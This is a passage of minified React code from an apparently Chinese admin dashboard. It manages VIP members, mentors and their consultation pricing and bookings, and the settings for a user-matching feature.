C=k.currentTarget.nextElementSibling;C&&C.classList.remove("hidden")}}):null,s.jsx("span",{className:v.userAvatar?"hidden":"",children:(v.userNickname||v.userId||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white",children:v.userNickname||v.userId}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[v.userId.slice(0,16),"..."]})]})]})}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[v.matchedUserAvatar?s.jsx("img",{src:v.matchedUserAvatar,alt:"",className:"w-full h-full object-cover",onError:k=>{k.currentTarget.style.display="none";const C=k.currentTarget.nextElementSibling;C&&C.classList.remove("hidden")}}):null,s.jsx("span",{className:v.matchedUserAvatar?"hidden":"",children:(v.matchedNickname||v.matchedUserId||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white",children:v.matchedNickname||v.matchedUserId}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[v.matchedUserId.slice(0,16),"..."]})]})]})}),s.jsx(ve,{children:s.jsx(qe,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:kw[v.matchType]||v.matchType})}),s.jsxs(ve,{className:"text-gray-400 text-sm",children:[v.phone&&s.jsxs("div",{children:["📱 ",v.phone]}),v.wechatId&&s.jsxs("div",{children:["💬 ",v.wechatId]}),!v.phone&&!v.wechatId&&"-"]}),s.jsx(ve,{className:"text-gray-400",children:v.createdAt?new Date(v.createdAt).toLocaleString():"-"})]},v.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"暂无匹配记录"})})]})]}),s.jsx(is,{page:a,totalPages:w,total:n,pageSize:o,onPageChange:i,onPageSizeChange:v=>{c(v),i(1)}})]})})})]})}function TV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0);async function a(){r(!0);try{const i=await De("/api/db/vip-members?limit=100");if(i!=null&&i.success&&i.data){const o=[...i.data].map((c,u)=>({...c,vipSort:typeof c.vipSort=="number"?c.vipSort:u+1}));o.sort((c,u)=>(c.vipSort??999999)-(u.vipSort??999999)),e(o)}}catch(i){console.error("Load VIP members error:",i),ie.error("加载 VIP 成员失败")}finally{r(!1)}}return b.useEffect(()=>{a()},[]),s.jsxs("div",{className:"p-8 w-full",children:[s.jsx("div",{className:"flex justify-between items-center mb-8",children:s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(yl,{className:"w-5 h-5 text-amber-400"}),"用户管理 / 超级个体列表"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"这里展示所有有效超级个体用户,仅用于查看其基本信息与排序值。"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400 w-20",children:"序号"}),s.jsx(ke,{className:"text-gray-400",children:"成员"}),s.jsx(ke,{className:"text-gray-400 w-40",children:"超级个体"}),s.jsx(ke,{className:"text-gray-400 w-28",children:"排序值"})]})}),s.jsxs(dr,{children:[t.map((i,o)=>{var c;return s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:o+1}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[i.avatar?s.jsx("img",{src:i.avatar,className:"w-8 h-8 rounded-full object-cover border border-amber-400/60"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-amber-500/20 border border-amber-400/60 flex items-center justify-center text-amber-300 text-sm",children:((c=i.name)==null?void 0:c[0])||"创"}),s.jsx("div",{className:"min-w-0",children:s.jsx("div",{className:"text-white text-sm truncate",children:i.name})})]})}),s.jsx(ve,{className:"text-gray-300",children:i.vipRole||s.jsx("span",{className:"text-gray-500",children:"(未设置超级个体)"})}),s.jsx(ve,{className:"text-gray-300",children:i.vipSort??o+1})]},i.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"当前没有有效的超级个体用户。"})})]})]})})})]})}function B4(t){const[e,n]=b.useState([]),[r,a]=b.useState(!0),[i,o]=b.useState(!1),[c,u]=b.useState(null),[h,f]=b.useState({name:"",avatar:"",intro:"",tags:"",priceSingle:"",priceHalfYear:"",priceYear:"",quote:"",whyFind:"",offering:"",judgmentStyle:"",sort:0,enabled:!0}),[m,g]=b.useState(!1),[y,N]=b.useState(!1),w=b.useRef(null),v=async R=>{var _;const D=(_=R.target.files)==null?void 0:_[0];if(D){N(!0);try{const Z=new FormData;Z.append("file",D),Z.append("folder","mentors");const ne=pf(),fe={};ne&&(fe.Authorization=`Bearer ${ne}`);const $=await(await fetch(go("/api/upload"),{method:"POST",body:Z,credentials:"include",headers:fe})).json();$!=null&&$.success&&($!=null&&$.url)?f(H=>({...H,avatar:$.url})):ie.error("上传失败: "+(($==null?void 0:$.error)||"未知错误"))}catch(Z){console.error(Z),ie.error("上传失败")}finally{N(!1),w.current&&(w.current.value="")}}};async function k(){a(!0);try{const R=await De("/api/db/mentors");R!=null&&R.success&&R.data&&n(R.data)}catch(R){console.error("Load mentors error:",R)}finally{a(!1)}}b.useEffect(()=>{k()},[]);const C=()=>{f({name:"",avatar:"",intro:"",tags:"",priceSingle:"",priceHalfYear:"",priceYear:"",quote:"",whyFind:"",offering:"",judgmentStyle:"",sort:e.length>0?Math.max(...e.map(R=>R.sort))+1:0,enabled:!0})},E=()=>{u(null),C(),o(!0)},T=R=>{u(R),f({name:R.name,avatar:R.avatar||"",intro:R.intro||"",tags:R.tags||"",priceSingle:R.priceSingle!=null?String(R.priceSingle):"",priceHalfYear:R.priceHalfYear!=null?String(R.priceHalfYear):"",priceYear:R.priceYear!=null?String(R.priceYear):"",quote:R.quote||"",whyFind:R.whyFind||"",offering:R.offering||"",judgmentStyle:R.judgmentStyle||"",sort:R.sort,enabled:R.enabled??!0}),o(!0)},I=async()=>{if(!h.name.trim()){ie.error("导师姓名不能为空");return}g(!0);try{const R=_=>_===""?void 0:parseFloat(_),D={name:h.name.trim(),avatar:h.avatar.trim()||void 0,intro:h.intro.trim()||void 0,tags:h.tags.trim()||void 0,priceSingle:R(h.priceSingle),priceHalfYear:R(h.priceHalfYear),priceYear:R(h.priceYear),quote:h.quote.trim()||void 0,whyFind:h.whyFind.trim()||void 0,offering:h.offering.trim()||void 0,judgmentStyle:h.judgmentStyle.trim()||void 0,sort:h.sort,enabled:h.enabled};if(c){const _=await zt("/api/db/mentors",{id:c.id,...D});_!=null&&_.success?(o(!1),k()):ie.error("更新失败: "+(_==null?void 0:_.error))}else{const _=await vt("/api/db/mentors",D);_!=null&&_.success?(o(!1),k()):ie.error("新增失败: "+(_==null?void 0:_.error))}}catch(R){console.error("Save error:",R),ie.error("保存失败")}finally{g(!1)}},O=async R=>{if(confirm("确定删除该导师?"))try{const D=await Bs(`/api/db/mentors?id=${R}`);D!=null&&D.success?k():ie.error("删除失败: "+(D==null?void 0:D.error))}catch(D){console.error("Delete error:",D),ie.error("删除失败")}},L=R=>R!=null?`¥${R}`:"-";return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"导师管理"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"stitch_soul 导师列表,支持每个导师独立配置单次/半年/年度价格"})]}),s.jsxs(te,{onClick:E,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新增导师"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:r?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"姓名"}),s.jsx(ke,{className:"text-gray-400",children:"简介"}),s.jsx(ke,{className:"text-gray-400",children:"单次"}),s.jsx(ke,{className:"text-gray-400",children:"半年"}),s.jsx(ke,{className:"text-gray-400",children:"年度"}),s.jsx(ke,{className:"text-gray-400",children:"排序"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[e.map(R=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:R.id}),s.jsx(ve,{className:"text-white",children:R.name}),s.jsx(ve,{className:"text-gray-400 max-w-[200px] truncate",children:R.intro||"-"}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceSingle)}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceHalfYear)}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceYear)}),s.jsx(ve,{className:"text-gray-400",children:R.sort}),s.jsxs(ve,{className:"text-right",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>T(R),className:"text-gray-400 hover:text-[#38bdac]",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>O(R.id),className:"text-gray-400 hover:text-red-400",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]},R.id)),e.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:8,className:"text-center py-12 text-gray-500",children:"暂无导师,点击「新增导师」添加"})})]})]})})}),s.jsx(Dt,{open:i,onOpenChange:o,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg max-h-[90vh] overflow-y-auto",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:c?"编辑导师":"新增导师"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"姓名 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:卡若",value:h.name,onChange:R=>f(D=>({...D,name:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"排序"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:h.sort,onChange:R=>f(D=>({...D,sort:parseInt(R.target.value,10)||0}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"头像"}),s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:h.avatar,onChange:R=>f(D=>({...D,avatar:R.target.value})),placeholder:"点击上传或粘贴图片地址"}),s.jsx("input",{ref:w,type:"file",accept:"image/*",className:"hidden",onChange:v}),s.jsxs(te,{type:"button",variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 shrink-0",disabled:y,onClick:()=>{var R;return(R=w.current)==null?void 0:R.click()},children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),y?"上传中...":"上传"]})]}),h.avatar&&s.jsx("div",{className:"mt-2",children:s.jsx("img",{src:h.avatar.startsWith("http")?h.avatar:go(h.avatar),alt:"头像预览",className:"w-20 h-20 rounded-full object-cover border border-gray-600"})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"简介"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:结构判断型咨询 · Decision > Execution",value:h.intro,onChange:R=>f(D=>({...D,intro:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"技能标签(逗号分隔)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:项目结构判断、风险止损、人×项目匹配",value:h.tags,onChange:R=>f(D=>({...D,tags:R.target.value}))})]}),s.jsxs("div",{className:"border-t border-gray-700 pt-4",children:[s.jsx(X,{className:"text-gray-300 block mb-2",children:"价格配置(每个导师独立)"}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"单次咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"980",value:h.priceSingle,onChange:R=>f(D=>({...D,priceSingle:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"半年咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"19800",value:h.priceHalfYear,onChange:R=>f(D=>({...D,priceHalfYear:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"年度咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"29800",value:h.priceYear,onChange:R=>f(D=>({...D,priceYear:R.target.value}))})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"引言"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:大多数人失败,不是因为不努力...",value:h.quote,onChange:R=>f(D=>({...D,quote:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"为什么找(文本)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"",value:h.whyFind,onChange:R=>f(D=>({...D,whyFind:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"提供什么(文本)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"",value:h.offering,onChange:R=>f(D=>({...D,offering:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"判断风格(逗号分隔)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:冷静、克制、偏风险视角",value:h.judgmentStyle,onChange:R=>f(D=>({...D,judgmentStyle:R.target.value}))})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("input",{type:"checkbox",id:"enabled",checked:h.enabled,onChange:R=>f(D=>({...D,enabled:R.target.checked})),className:"rounded border-gray-600 bg-[#0a1628]"}),s.jsx(X,{htmlFor:"enabled",className:"text-gray-300 cursor-pointer",children:"上架(小程序可见)"})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>o(!1),className:"border-gray-600 text-gray-300",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:I,disabled:m,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),m?"保存中...":"保存"]})]})]})})]})}function MV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState("");async function o(){r(!0);try{const h=a?`/api/db/mentor-consultations?status=${a}`:"/api/db/mentor-consultations",f=await De(h);f!=null&&f.success&&f.data&&e(f.data)}catch(h){console.error("Load consultations error:",h)}finally{r(!1)}}b.useEffect(()=>{o()},[a]);const c={created:"已创建",pending_pay:"待支付",paid:"已支付",completed:"已完成",cancelled:"已取消"},u={single:"单次",half_year:"半年",year:"年度"};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(ch,{className:"w-5 h-5 text-[#38bdac]"}),"导师预约列表"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"stitch_soul 导师咨询预约记录"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("select",{value:a,onChange:h=>i(h.target.value),className:"bg-[#0f2137] border border-gray-700 rounded-lg px-3 py-2 text-gray-300 text-sm",children:[s.jsx("option",{value:"",children:"全部状态"}),Object.entries(c).map(([h,f])=>s.jsx("option",{value:h,children:f},h))]}),s.jsxs(te,{onClick:o,disabled:n,variant:"outline",className:"border-gray-600 text-gray-300",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`}),"刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户ID"}),s.jsx(ke,{className:"text-gray-400",children:"导师ID"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"})]})}),s.jsxs(dr,{children:[t.map(h=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:h.id}),s.jsx(ve,{className:"text-gray-400",children:h.userId}),s.jsx(ve,{className:"text-gray-400",children:h.mentorId}),s.jsx(ve,{className:"text-gray-400",children:u[h.consultationType]||h.consultationType}),s.jsxs(ve,{className:"text-white",children:["¥",h.amount]}),s.jsx(ve,{className:"text-gray-400",children:c[h.status]||h.status}),s.jsx(ve,{className:"text-gray-500 text-sm",children:h.createdAt})]},h.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无预约记录"})})]})]})})})]})}const Lc={poolSource:["vip"],requirePhone:!0,requireNickname:!0,requireAvatar:!1,requireBusiness:!1},Sw={matchTypes:[{id:"partner",label:"找伙伴",matchLabel:"找伙伴",icon:"⭐",matchFromDB:!0,showJoinAfterMatch:!1,price:1,enabled:!0},{id:"investor",label:"资源对接",matchLabel:"资源对接",icon:"👥",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"mentor",label:"导师顾问",matchLabel:"导师顾问",icon:"❤️",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"team",label:"团队招募",matchLabel:"加入项目",icon:"🎮",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}],freeMatchLimit:3,matchPrice:1,settings:{enableFreeMatches:!0,enablePaidMatches:!0,maxMatchesPerDay:10},poolSettings:Lc},AV=["⭐","👥","❤️","🎮","💼","🚀","💡","🎯","🔥","✨"];function IV(){const t=Ci(),[e,n]=b.useState(Sw),[r,a]=b.useState(!0),[i,o]=b.useState(!1),[c,u]=b.useState(!1),[h,f]=b.useState(null),[m,g]=b.useState({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),[y,N]=b.useState(null),[w,v]=b.useState(!1),k=async()=>{v(!0);try{const D=await De("/api/db/match-pool-counts");D!=null&&D.success&&D.data&&N(D.data)}catch(D){console.error("加载池子人数失败:",D)}finally{v(!1)}},C=async()=>{a(!0);try{const D=await De("/api/db/config/full?key=match_config"),_=(D==null?void 0:D.data)??(D==null?void 0:D.config);if(_){let Z=_.poolSettings??Lc;Z.poolSource&&!Array.isArray(Z.poolSource)&&(Z={...Z,poolSource:[Z.poolSource]}),n({...Sw,..._,poolSettings:Z})}}catch(D){console.error("加载匹配配置失败:",D)}finally{a(!1)}};b.useEffect(()=>{C(),k()},[]);const E=async()=>{o(!0);try{const D=await vt("/api/db/config",{key:"match_config",value:e,description:"匹配功能配置"});ie.error((D==null?void 0:D.success)!==!1?"配置保存成功!":"保存失败: "+((D==null?void 0:D.error)||"未知错误"))}catch(D){console.error(D),ie.error("保存失败")}finally{o(!1)}},T=D=>{f(D),g({...D}),u(!0)},I=()=>{f(null),g({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),u(!0)},O=()=>{if(!m.id||!m.label){ie.error("请填写类型ID和名称");return}const D=[...e.matchTypes];if(h){const _=D.findIndex(Z=>Z.id===h.id);_!==-1&&(D[_]={...m})}else{if(D.some(_=>_.id===m.id)){ie.error("类型ID已存在");return}D.push({...m})}n({...e,matchTypes:D}),u(!1)},L=D=>{confirm("确定要删除这个匹配类型吗?")&&n({...e,matchTypes:e.matchTypes.filter(_=>_.id!==D)})},R=D=>{n({...e,matchTypes:e.matchTypes.map(_=>_.id===D?{..._,enabled:!_.enabled}:_)})};return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex justify-end gap-3",children:[s.jsxs(te,{variant:"outline",onClick:C,disabled:r,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${r?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:E,disabled:i,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"})," ",i?"保存中...":"保存配置"]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Qw,{className:"w-5 h-5 text-blue-400"})," 匹配池选择"]}),s.jsx(It,{className:"text-gray-400",children:"选择匹配的用户池和完善程度要求,只有满足条件的用户才可被匹配到"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsx(X,{className:"text-gray-300",children:"匹配来源池"}),s.jsx("p",{className:"text-gray-500 text-xs",children:"可同时勾选多个池子(取并集匹配)"}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-3",children:[{value:"vip",label:"超级个体(VIP会员)",desc:"付费 ¥1980 的VIP会员",icon:"👑",countKey:"vip"},{value:"complete",label:"完善资料用户",desc:"符合下方完善度要求的用户",icon:"✅",countKey:"complete"},{value:"all",label:"全部用户",desc:"所有已注册用户",icon:"👥",countKey:"all"}].map(D=>{const _=e.poolSettings??Lc,ne=(Array.isArray(_.poolSource)?_.poolSource:[_.poolSource]).includes(D.value),fe=y==null?void 0:y[D.countKey],xe=()=>{const $=Array.isArray(_.poolSource)?[..._.poolSource]:[_.poolSource],H=ne?$.filter(oe=>oe!==D.value):[...$,D.value];H.length===0&&H.push(D.value),n({...e,poolSettings:{..._,poolSource:H}})};return s.jsxs("button",{type:"button",onClick:xe,className:`p-4 rounded-lg border text-left transition-all ${ne?"border-[#38bdac] bg-[#38bdac]/10":"border-gray-700 bg-[#0a1628] hover:border-gray-600"}`,children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-5 h-5 rounded border-2 flex items-center justify-center text-xs ${ne?"border-[#38bdac] bg-[#38bdac] text-white":"border-gray-600"}`,children:ne&&"✓"}),s.jsx("span",{className:"text-xl",children:D.icon}),s.jsx("span",{className:`text-sm font-medium ${ne?"text-[#38bdac]":"text-gray-300"}`,children:D.label})]}),s.jsxs("span",{className:"text-lg font-bold text-white",children:[w?"...":fe??"-",s.jsx("span",{className:"text-xs text-gray-500 font-normal ml-1",children:"人"})]})]}),s.jsx("p",{className:"text-gray-500 text-xs mt-2",children:D.desc}),s.jsx("span",{role:"link",tabIndex:0,onClick:$=>{$.stopPropagation(),t(`/users?pool=${D.value}`)},onKeyDown:$=>{$.key==="Enter"&&($.stopPropagation(),t(`/users?pool=${D.value}`))},className:"text-[#38bdac] text-xs mt-2 inline-block hover:underline cursor-pointer",children:"查看用户列表 →"})]},D.value)})})]}),s.jsxs("div",{className:"space-y-3 pt-4 border-t border-gray-700/50",children:[s.jsx(X,{className:"text-gray-300",children:"用户资料完善要求(被匹配用户必须满足以下条件)"}),s.jsx("div",{className:"grid grid-cols-2 md:grid-cols-4 gap-4",children:[{key:"requirePhone",label:"有手机号",icon:"📱"},{key:"requireNickname",label:"有昵称",icon:"👤"},{key:"requireAvatar",label:"有头像",icon:"🖼️"},{key:"requireBusiness",label:"有业务需求",icon:"💼"}].map(D=>{const Z=(e.poolSettings??Lc)[D.key];return s.jsxs("div",{className:"flex items-center gap-3 bg-[#0a1628] rounded-lg p-3",children:[s.jsx(kt,{checked:Z,onCheckedChange:ne=>n({...e,poolSettings:{...e.poolSettings??Lc,[D.key]:ne}})}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("span",{children:D.icon}),s.jsx(X,{className:"text-gray-300 text-sm",children:D.label})]})]},D.key)})})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(li,{className:"w-5 h-5 text-yellow-400"})," 基础设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置免费匹配次数和付费规则"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日免费匹配次数"}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.freeMatchLimit,onChange:D=>n({...e,freeMatchLimit:parseInt(D.target.value,10)||0})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"付费匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:e.matchPrice,onChange:D=>n({...e,matchPrice:parseFloat(D.target.value)||1})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日最大匹配次数"}),s.jsx(se,{type:"number",min:1,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.settings.maxMatchesPerDay,onChange:D=>n({...e,settings:{...e.settings,maxMatchesPerDay:parseInt(D.target.value,10)||10}})})]})]}),s.jsxs("div",{className:"flex gap-8 pt-4 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:e.settings.enableFreeMatches,onCheckedChange:D=>n({...e,settings:{...e.settings,enableFreeMatches:D}})}),s.jsx(X,{className:"text-gray-300",children:"启用免费匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:e.settings.enablePaidMatches,onCheckedChange:D=>n({...e,settings:{...e.settings,enablePaidMatches:D}})}),s.jsx(X,{className:"text-gray-300",children:"启用付费匹配"})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs("div",{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"})," 匹配类型管理"]}),s.jsx(It,{className:"text-gray-400",children:"配置不同的匹配类型及其价格"})]}),s.jsxs(te,{onClick:I,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-1"})," 添加类型"]})]}),s.jsx(Ee,{children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"图标"}),s.jsx(ke,{className:"text-gray-400",children:"类型ID"}),s.jsx(ke,{className:"text-gray-400",children:"显示名称"}),s.jsx(ke,{className:"text-gray-400",children:"匹配标签"}),s.jsx(ke,{className:"text-gray-400",children:"价格"}),s.jsx(ke,{className:"text-gray-400",children:"数据库匹配"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsx(dr,{children:e.matchTypes.map(D=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx("span",{className:"text-2xl",children:D.icon})}),s.jsx(ve,{className:"font-mono text-gray-300",children:D.id}),s.jsx(ve,{className:"text-white font-medium",children:D.label}),s.jsx(ve,{className:"text-gray-300",children:D.matchLabel}),s.jsx(ve,{children:s.jsxs(qe,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:["¥",D.price]})}),s.jsx(ve,{children:D.matchFromDB?s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"是"}):s.jsx(qe,{variant:"outline",className:"text-gray-500 border-gray-600",children:"否"})}),s.jsx(ve,{children:s.jsx(kt,{checked:D.enabled,onCheckedChange:()=>R(D.id)})}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>T(D),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>L(D.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 